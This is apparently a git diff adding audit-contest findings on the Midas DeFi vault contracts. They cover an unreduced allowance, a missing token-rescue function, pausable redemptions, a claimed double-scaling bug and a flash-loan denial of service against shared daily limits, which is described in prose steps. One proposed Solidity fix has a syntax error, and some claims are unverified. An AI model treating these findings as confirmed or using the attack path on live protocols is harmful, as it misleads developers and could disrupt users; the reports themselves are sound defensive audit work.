+# Allowance Not Decreased in `approveRequest()` Function in `DepositVault` and` RedemptionVaul` Contracts
+
+## Summary
+The `approveRequest()` function in both `DepositVault` and `RedemptionVault` contracts does not decrease the allowance after approving a request, which can lead to the allowance limit being surpassed due to the lack of immediate allowance reduction, allowing for additional transactions that deplete the allowance beyond intended limits.
+
+## Vulnerability Detail
+In the `DepositVault` and `RedemptionVault` contracts, the `approveRequest()` function is designed to approve minting or redemption requests without decreasing the allowance for the corresponding token. This oversight means that even after a request is approved and processed, the allowance remains unchanged, potentially allowing for subsequent transactions to utilize the same allowance, leading to operations that exceed the intended cap set by the allowance. Although administrators can manually adjust the allowance, the absence of an automatic decrease mechanism in the `approveRequest()` function creates a window where the allowance limit can be surpassed if transactions are rapidly executed before manual adjustments are made.
+
+## Impact
+This vulnerability affects the protocol's ability to enforce token operation limits, as the allowance, intended to cap minting and redemption operations, does not accurately reflect the utilized amounts. It allows for potential excessive minting or redemption beyond the set limits, undermining the control within the system.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L231C14-L231C29
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L303
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+`approveRequest()` function should automatically decrease the allowance by the approved request amount to accurately reflect utilized allowances and prevent exceeding the intended limits
\ No newline at end of file
diff --git a/157.md b/157.md
new file mode 100644
index 0000000..2fed98d
--- /dev/null
+++ b/157.md
@@ -0,0 +1,33 @@
+Glamorous Nylon Cobra
+
+Medium
+
+# Missing Token Rescue Functionality in Smart Contract
+
+## Summary
+The smart contract lacks the implementation of a feature specified in the product requirements, which is the ability for the admin to rescue any token and transfer them to any wallet, particularly aimed at retrieving stablecoins provided for instant redemptions, leading to potential asset lock-in and operational limitations.
+
+## Vulnerability Detail
+According to the product specifications, the smart contract is required to include functionality allowing the admin to rescue any token and transfer them to any specified wallet, a feature intended to ensure flexibility and security by enabling the retrieval of stablecoins or other assets used within the contract. However, upon reviewing the provided codebase, this functionality is absent, indicating a gap between the intended design and the implemented features. This omission prevents the admin from managing assets within the contract effectively, potentially leading to asset lock-in and limiting operational capabilities, especially in scenarios requiring the retrieval of stablecoins used for instant redemptions.
+## Impact
+It hinders the admin's ability to manage and retrieve assets, which could be crucial in various scenarios, including but not limited to, retrieving stablecoins made available for instant redemptions. The absence of this feature could lead to locked-in assets within the contract, affecting its liquidity and the protocol's ability to adapt to changing conditions or recover from potential issues.
+Also It will help retrieve mTbills sent to the contract during redeem request when those request are cancelled because with current implementation there is no way to retrieve those requests.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L20
+
+## Tool used
+
+Manual Review
+```solidity
+function rescueTokens(address token, address to, uint256 amount) external onlyVaultAdmin {
+ require(token != address(0), "Invalid token address";
+ uint256 balance = IERC20(token).balanceOf(address(this));
+ require(amount <= balance, "Insufficient contract balance");
+
+ IERC20(token).safeTransfer(to, amount);
+ emit TokensRescued(token, to, amount);
+}
+
+```
+## Recommendation
diff --git a/158.md b/158.md
new file mode 100644
index 0000000..ffef3fc
--- /dev/null
+++ b/158.md
@@ -0,0 +1,30 @@
+Sleepy Oily Tardigrade
+
+Medium
+
+# Redeem functions are protected by `whenFnNotPaused` modifier
+
+## Summary
+Redeem functions are protected by `whenFnNotPaused` modifier disabling users to access the funds in the situation that is unfavourable for the user.
+
+## Vulnerability Detail
+[Source](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L124)
+[Source](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194)
+[Source](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L209)
+
+In this extremely centralized and power centric protocol, the ultimate user in the protocol is having no power as `RedemptionVault::redeemInstant`, `RedemptionVault::redeemRequest`, and `RedemptionVault::redeemFiatRequest` functions are protected by `whenFnNotPaused` modifier making users unable to claim what they own actually.
+
+In `Solodit -> Checklist -> Centralization Risk -> SOL-CR-2` it is stated that `Some functionalities must work even when the whole protocol is paused. For example, users must be able to withdraw (or repay) assets even while the protocol is paused.`
+
+## Impact
+In case of any unfortunate event or if user feels that he is incurring losses or investment is not adding expected value, in such case when user tries to withdraw/redeem and if the protocol is paused then user will not be able to access the funds for which user is legally entitled.
+
+## Code Snippet
+
+## Tool used
+
+Manual Review
+Yes
+
+## Recommendation
+Pause modifiers should be removed from redeem functions so that user can withdraw/redeem whenever he feels to.
\ No newline at end of file
diff --git a/160.md b/160.md
new file mode 100644
index 0000000..d1df797
--- /dev/null
+++ b/160.md
@@ -0,0 +1,61 @@
+Acidic Walnut Lemur
+
+High
+
+# Double Scaling of Token Amounts Due to Redundant Truncation in `_approveRequest()` Function in `RedemptionVault` contract
+
+## Summary
+In the `RedemptionVault` contract, the `_approveRequest()` function contains a precision issue due to redundant truncation of `amountTokenOutWithoutFee`. The `amountTokenOutWithoutFee` value is scaled down twice: first by the `_truncate()` function and then again within the `_tokenTransferFromTo()` function. This double scaling leads to inaccuracies in the token amounts processed, potentially resulting in incorrect transfers.
+
+## Vulnerability Detail
+The issue arises from the following sequence of operations:
+
+1. [**Initial Truncation**](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L331): `amountTokenOutWithoutFee` is computed using the `_truncate()` function, which scales the value from base18 precision to the desired `tokenDecimals`.
+
+2. [**Redundant Scaling**](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L336): The `_tokenTransferFromTo()` function further scales this value down from base18 precision to `tokenDecimals` precision again, causing the value to be reduced twice.
+
+ - The `_truncate()` function already performs the necessary scaling.
+ ```solidity
+ function _truncate(uint256 value, uint256 decimals)
+ internal
+ pure
+ returns (uint256)
+ {
+ return value.convertFromBase18(decimals).convertToBase18(decimals);
+ }
+ ```
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L575
+ - `_tokenTransferFromTo()` performs another scaling operation, leading to double precision loss.
+ ```solidity
+ function _tokenTransferFromTo(
+ address token,
+ address from,
+ address to,
+ uint256 amount,
+ uint256 tokenDecimals
+ ) internal {
+ uint256 transferAmount = amount.convertFromBase18(tokenDecimals);
+
+ require(
+ amount == transferAmount.convertToBase18(tokenDecimals),
+ "MV: invalid rounding"
+ );
+
+ IERC20(token).safeTransferFrom(from, to, transferAmount);
+ }
+```
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L426
+
+## Impact
+- **Inaccurate Token Amounts**: The final token amount processed is less than intended due to double scaling, causing potential discrepancies in token transfers.
+- **Transaction Errors**: Incorrect token amounts can lead to transaction failures or improper handling of token balances, impacting the functionality of the contract.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L331C13-L343C10
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Modify the `_approveRequest()` function to avoid using `_truncate()` if the amount will be scaled down again in `_tokenTransferFromTo()`. Perform the conversion to `tokenDecimals` precision only once.
\ No newline at end of file
diff --git a/161.md b/161.md
new file mode 100644
index 0000000..e0123e9
--- /dev/null
+++ b/161.md
@@ -0,0 +1,27 @@
+Mammoth Burlap Dachshund
+
+High
+
+# Denial of Service (DOS) due to ManageableVault::instantDailyLimit and ManageableVault::dailyLimits
+
+### Summary
+
+The [ManageableVault::dailyLimits](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L93) variable stores the deposit/redeem instant amount per day for all users, which can prevent normal users from calling the [DepositVault::depositInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L79) function or the [RedemptionVault::redeemInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L124) function. This is because a malicious user could use a flash loan to reach the [ManageableVault::instantDailyLimit](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L88)
+
+### Root Cause
+
+The decision to store the daily limit amount for all users is a mistake, as a malicious user could use a flash loan to reach the `ManageableVault::instantDailyLimit`, causing any call to the `DepositVault::depositInstant` function or the `RedemptionVault::redeemInstant` function to revert.
+
+### Internal pre-conditions
+
+- Value of the `ManageableVault::instantDailyLimit` variable is not too big
+
+### Attack Path
+
+Example of a DoS attack with the `DepositVault::depositInstant` function:
+1. A malicious user writes an attack contract.
+2. This contract includes a function to loan a large amount of ERC20 tokens (in the whitelist), calls the `DepositVault::depositInstant` function, and then uses the `mTBILL` tokens received to buy back the ERC20 tokens. Finally, it pays back the ERC20 tokens to the lender.
+
+### Impact
+
+Any call to the `DepositVault::depositInstant` function or the `RedemptionVault::redeemInstant` function will revert.
diff --git a/invalid/.gitkeep b/invalid/.gitkeep
new file mode 100644
index 0000000..e69de29